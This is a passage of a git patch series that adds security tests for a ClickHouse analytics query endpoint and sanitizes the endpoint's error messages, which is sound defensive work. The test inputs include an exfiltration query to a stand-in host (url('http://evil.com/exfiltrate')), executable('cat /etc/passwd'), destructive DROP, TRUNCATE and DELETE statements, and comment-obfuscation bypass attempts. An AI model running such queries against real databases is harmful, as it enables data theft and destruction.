+    query: "SELECT * FROM url('http://evil.com/exfiltrate', 'CSV', 'data String')",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON URL. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON URL. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow remote table access", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM remote('localhost', system, users)",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow cluster table access", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM cluster('default', system.query_log)",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON REMOTE. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow multi-statement execution", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT 1; SELECT 1",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": {
+          "error": deindent\`
+            Syntax error (Multi-statements are not allowed): failed at position 9 (end of query) (line 1, col 9): ; SELECT 1 
+            FORMAT JSONEachRow. . 
+          \`,
+        },
+        "error": deindent\`
+          The query failed to execute: Syntax error (Multi-statements are not allowed): failed at position 9 (end of query) (line 1, col 9): ; SELECT 1 
+          FORMAT JSONEachRow. . 
+        \`,
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow CTE to bypass restrictions", async ({ expect }) => {
+  const response = await runQuery({
+    query: "WITH secret AS (SELECT * FROM system.users) SELECT * FROM secret",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow accessing tables of other databases", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM analytics.some_table",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Unknown table expression identifier 'analytics.some_table' in scope SELECT * FROM analytics.some_table. " },
+        "error": "The query failed to execute: Unknown table expression identifier 'analytics.some_table' in scope SELECT * FROM analytics.some_table. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow accessing information_schema", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM information_schema.tables",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    TODO: THIS SHOULD NOT LEAK THE COLUMN INFORMATION
+
+
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(table_catalog, table_schema, table_name, table_type, table_rows, data_length, index_length, table_collation, table_comment, TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE, TABLE_ROWS, DATA_LENGTH, TABLE_COLLATION, TABLE_COMMENT) ON information_schema.tables. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(table_catalog, table_schema, table_name, table_type, table_rows, data_length, index_length, table_collation, table_comment, TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE, TABLE_ROWS, DATA_LENGTH, TABLE_COLLATION, TABLE_COMMENT) ON information_schema.tables. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow dictionary access", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT dictGet('some_dict', 'value', 'key')",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Dictionary (\`some_dict\`) not found: In scope SELECT dictGet('some_dict', 'value', 'key'). " },
+        "error": "The query failed to execute: Dictionary (\`some_dict\`) not found: In scope SELECT dictGet('some_dict', 'value', 'key'). ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow query log snooping", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT query FROM system.query_log LIMIT 10",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query) ON system.query_log. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query) ON system.query_log. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow granting privileges", async ({ expect }) => {
+  const response = await runQuery({
+    query: "GRANT ALL ON *.* TO limited_user",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Syntax error: failed at position 35 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token, At, Comma, EXCEPT, ON, WITH GRANT OPTION, WITH ADMIN OPTION, WITH REPLACE OPTION, ParallelWithClause, PARALLEL WITH, end of query. " },
+        "error": "The query failed to execute: Syntax error: failed at position 35 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token, At, Comma, EXCEPT, ON, WITH GRANT OPTION, WITH ADMIN OPTION, WITH REPLACE OPTION, ParallelWithClause, PARALLEL WITH, end of query. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow creating functions", async ({ expect }) => {
+  const response = await runQuery({
+    query: "CREATE FUNCTION linear_equation AS (x, k, b) -> k*x + b",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Syntax error: failed at position 58 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token sequence, Dot, token, OR, AND, IS NOT DISTINCT FROM, IS NULL, IS NOT NULL, BETWEEN, NOT BETWEEN, LIKE, ILIKE, NOT LIKE, NOT ILIKE, REGEXP, IN, NOT IN, GLOBAL IN, GLOBAL NOT IN, MOD, DIV, ParallelWithClause, PARALLEL WITH, end of query. " },
+        "error": "The query failed to execute: Syntax error: failed at position 58 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token sequence, Dot, token, OR, AND, IS NOT DISTINCT FROM, IS NULL, IS NOT NULL, BETWEEN, NOT BETWEEN, LIKE, ILIKE, NOT LIKE, NOT ILIKE, REGEXP, IN, NOT IN, GLOBAL IN, GLOBAL NOT IN, MOD, DIV, ParallelWithClause, PARALLEL WITH, end of query. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow S3 access", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM s3('https://bucket.s3.amazonaws.com/data.csv')",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON S3. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant READ ON S3. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow executable table function", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM executable('cat /etc/passwd', 'TabSeparated', 'line String')",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow comment obfuscation to bypass restrictions", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT /* system */ * FROM system.users",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow comment obfuscation in table names", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM system./**/users",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow creating materialized views", async ({ expect }) => {
+  const response = await runQuery({
+    query: "CREATE MATERIALIZED VIEW evil ENGINE = MergeTree ORDER BY x AS SELECT * FROM system.query_log",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE VIEW ON default.evil. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE VIEW ON default.evil. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow merge table function to access all tables", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM merge('system', '.*')",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "There are no tables satisfied provided regexp, you must specify table structure manually. " },
+        "error": "The query failed to execute: There are no tables satisfied provided regexp, you must specify table structure manually. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow DROP TABLE", async ({ expect }) => {
+  const response = await runQuery({
+    query: "DROP TABLE analytics.events",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant DROP TABLE ON analytics.events. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant DROP TABLE ON analytics.events. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow ALTER TABLE", async ({ expect }) => {
+  const response = await runQuery({
+    query: "ALTER TABLE analytics.events ADD COLUMN malicious String",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant ALTER ADD COLUMN(malicious) ON analytics.events. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant ALTER ADD COLUMN(malicious) ON analytics.events. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow TRUNCATE TABLE", async ({ expect }) => {
+  const response = await runQuery({
+    query: "TRUNCATE TABLE analytics.events",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant TRUNCATE ON analytics.events. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant TRUNCATE ON analytics.events. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow DELETE statements", async ({ expect }) => {
+  const response = await runQuery({
+    query: "DELETE FROM analytics.events WHERE 1=1",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Syntax error: failed at position 41 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token, DoubleColon, OR, AND, IS NOT DISTINCT FROM, IS NULL, IS NOT NULL, BETWEEN, NOT BETWEEN, LIKE, ILIKE, NOT LIKE, NOT ILIKE, REGEXP, IN, NOT IN, GLOBAL IN, GLOBAL NOT IN, MOD, DIV, SETTINGS, ParallelWithClause, PARALLEL WITH, end of query. " },
+        "error": "The query failed to execute: Syntax error: failed at position 41 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token, DoubleColon, OR, AND, IS NOT DISTINCT FROM, IS NULL, IS NOT NULL, BETWEEN, NOT BETWEEN, LIKE, ILIKE, NOT LIKE, NOT ILIKE, REGEXP, IN, NOT IN, GLOBAL IN, GLOBAL NOT IN, MOD, DIV, SETTINGS, ParallelWithClause, PARALLEL WITH, end of query. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow UPDATE statements", async ({ expect }) => {
+  const response = await runQuery({
+    query: "UPDATE analytics.events SET project_id = 'hacked' WHERE 1=1",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "Syntax error: failed at position 62 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token, DoubleColon, OR, AND, IS NOT DISTINCT FROM, IS NULL, IS NOT NULL, BETWEEN, NOT BETWEEN, LIKE, ILIKE, NOT LIKE, NOT ILIKE, REGEXP, IN, NOT IN, GLOBAL IN, GLOBAL NOT IN, MOD, DIV, SETTINGS, ParallelWithClause, PARALLEL WITH, end of query. " },
+        "error": "The query failed to execute: Syntax error: failed at position 62 (FORMAT) (line 2, col 1): FORMAT JSONEachRow. Expected one of: token, DoubleColon, OR, AND, IS NOT DISTINCT FROM, IS NULL, IS NOT NULL, BETWEEN, NOT BETWEEN, LIKE, ILIKE, NOT LIKE, NOT ILIKE, REGEXP, IN, NOT IN, GLOBAL IN, GLOBAL NOT IN, MOD, DIV, SETTINGS, ParallelWithClause, PARALLEL WITH, end of query. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow accessing system.users", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM system.users",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(name, id, storage, auth_type, auth_params, host_ip, host_names, host_names_regexp, host_names_like, default_roles_all, default_roles_list, default_roles_except, grantees_any, grantees_list, grantees_except, default_database) ON system.users. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow accessing system.processes", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM system.processes",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(is_initial_query, user, query_id, address, port, initial_user, initial_query_id, initial_address, initial_port, interface, os_user, client_hostname, client_name, client_revision, client_version_major, client_version_minor, client_version_patch, http_method, http_user_agent, http_referer, forwarded_for, quota_key, distributed_depth, elapsed, is_cancelled, is_all_data_sent, read_rows, read_bytes, total_rows_approx, written_rows, written_bytes, memory_usage, peak_memory_usage, query, normalized_query_hash, query_kind, thread_ids, ProfileEvents, Settings, current_database) ON system.processes. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(is_initial_query, user, query_id, address, port, initial_user, initial_query_id, initial_address, initial_port, interface, os_user, client_hostname, client_name, client_revision, client_version_major, client_version_minor, client_version_patch, http_method, http_user_agent, http_referer, forwarded_for, quota_key, distributed_depth, elapsed, is_cancelled, is_all_data_sent, read_rows, read_bytes, total_rows_approx, written_rows, written_bytes, memory_usage, peak_memory_usage, query, normalized_query_hash, query_kind, thread_ids, ProfileEvents, Settings, current_database) ON system.processes. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow input() function", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM input('x String')",
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TEMPORARY TABLE ON *.*. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("does not allow generateRandom table function", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM generateRandom('x UInt64') LIMIT 1000000000",
+  });
+
+  expect(response).toMatchInlineSnapshot();
+});
+
+it("does not allow numbers table function with large values", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM numbers(1000000000)",
+  });
+
+  expect(response).toMatchInlineSnapshot();
+});
+
+it("does not allow jdbc table function", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM jdbc('jdbc:mysql://localhost:3306/db', 'table')",
+  });
+
+  expect(response).toMatchInlineSnapshot();
+});
+
+it("does not allow mysql table function", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM mysql('localhost:3306', 'database', 'table', 'user', 'password')",
+  });
+
+  expect(response).toMatchInlineSnapshot();
+});
+
+it("does not allow postgresql table function", async ({ expect }) => {
+  const response = await runQuery({
+    query: "SELECT * FROM postgresql('localhost:5432', 'database', 'table', 'user', 'password')",
+  });
+
+  expect(response).toMatchInlineSnapshot();
+});
diff --git a/package.json b/package.json
index e72b84c1f6..d3444af1e9 100644
--- a/package.json
+++ b/package.json
@@ -30,6 +30,7 @@
     "restart-deps": "pnpm pre && pnpm run stop-deps && pnpm run start-deps",
     "restart-deps:no-delay": "pnpm pre && pnpm run stop-deps && pnpm run start-deps:no-delay",
     "psql": "pnpm pre && pnpm run --filter=@stackframe/stack-backend psql",
+    "clickhouse": "pnpm pre && pnpm run --filter=@stackframe/stack-backend clickhouse",
     "explain-query": "pnpm pre && echo 'Paste your query (end with Ctrl-D):' && query=$(cat) && echo 'Connecting to Postgres...' && printf \"EXPLAIN (ANALYZE, COSTS, VERBOSE, BUFFERS, FORMAT JSON)\n$query\" | pnpm run --silent psql -qAt | sed -n '/\\[/,$p' > explained-query.untracked.json && echo 'Explained query saved to explained-query.untracked.json. To analyze it, open it in the query analyzer at https://tatiyants.com/pev/#/plans/new'",
     "db:migration-gen": "pnpm pre && pnpm run --filter=@stackframe/stack-backend db:migration-gen",
     "db:reset": "pnpm pre && pnpm run --filter=@stackframe/stack-backend db:reset",

From 30a8212b48c9256a3604960fb29ebbb9cf1303e6 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Fri, 19 Dec 2025 10:38:54 -0800
Subject: [PATCH 16/25] clickhouse error code parsing

---
 .../latest/internal/analytics/query/route.ts  |  46 +++-
 .../endpoints/api/v1/analytics-query.test.ts  | 222 +++++++++++++-----
 2 files changed, 205 insertions(+), 63 deletions(-)

diff --git a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
index 6fb234db07..f947573518 100644
--- a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
+++ b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
@@ -47,13 +47,19 @@ export const POST = createSmartRouteHandler({
         max_execution_time: body.timeout_ms / 1000,
         readonly: "1",
         allow_ddl: 0,
+        max_result_rows: MAX_RESULT_ROWS.toString(),
+        max_result_bytes: MAX_RESULT_BYTES.toString(),
+        result_overflow_mode: "throw",
       },
       format: "JSONEachRow",
     }));
 
     if (resultSet.status === "error") {
-      const message = resultSet.error instanceof Error ? resultSet.error.message : null;
-      throw new KnownErrors.AnalyticsQueryError(message ?? "Unknown error");
+      const message = getSafeClickhouseErrorMessage(resultSet.error);
+      if (message === null) {
+        throw new StackAssertionError("Unknown Clickhouse error", { cause: resultSet.error });
+      }
+      throw new KnownErrors.AnalyticsQueryError(message);
     }
 
     const rows = await resultSet.data.json<Record<string, unknown>[]>();
@@ -73,3 +79,39 @@ export const POST = createSmartRouteHandler({
   },
 });
 
+const SAFE_CLICKHOUSE_ERROR_CODES = [
+  62, // SYNTAX_ERROR
+  159, // TIMEOUT_EXCEEDED
+  164, // READONLY
+  158, // TOO_MANY_ROWS
+  396, // TOO_MANY_ROWS_OR_BYTES
+  636, // CANNOT_EXTRACT_TABLE_STRUCTURE
+];
+
+const UNSAFE_CLICKHOUSE_ERROR_CODES = [
+  36, // BAD_ARGUMENTS
+  60, // UNKNOWN_TABLE
+  497, // ACCESS_DENIED
+];
+
+const DEFAULT_CLICKHOUSE_ERROR_MESSAGE = "Query not permitted.";
+const MAX_RESULT_ROWS = 10_000;
+const MAX_RESULT_BYTES = 10 * 1024 * 1024;
+
+function getSafeClickhouseErrorMessage(error: unknown): string | null {
+  if (typeof error !== "object" || error === null || !("code" in error) || typeof error.code !== "string") {
+    return null;
+  }
+  const errorCode = Number(error.code);
+  if (isNaN(errorCode)) {
+    return null;
+  }
+  const message = "message" in error && typeof error.message === "string" ? error.message : null;
+  if (SAFE_CLICKHOUSE_ERROR_CODES.includes(errorCode)) {
+    return message;
+  }
+  if (UNSAFE_CLICKHOUSE_ERROR_CODES.includes(errorCode)) {
+    return DEFAULT_CLICKHOUSE_ERROR_MESSAGE;
+  }
+  return null;
+}
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index bc0ad253d5..36c1841407 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -233,8 +233,8 @@ it("does not allow CREATE TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON default.test_table. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON default.test_table. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -253,8 +253,8 @@ it("does not allow querying system tables", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -275,8 +275,8 @@ it("does not allow killing queries", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query_id, user, query) ON system.processes. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query_id, user, query) ON system.processes. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -295,8 +295,8 @@ it("does not allow INSERT statements", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant INSERT(dummy) ON system.one. " },
-        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant INSERT(dummy) ON system.one. ",
+        "details": { "error": "Query not permitted." },
+        "error": "The query failed to execute: Query not permitted.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -459,7 +459,44 @@ it("can see tables, but only limited metadata", async ({ expect }) => {
       "body": {
         "result": [
           {
-            TODO: THIS SHOULD BE THE METADATA OF THE VIEW
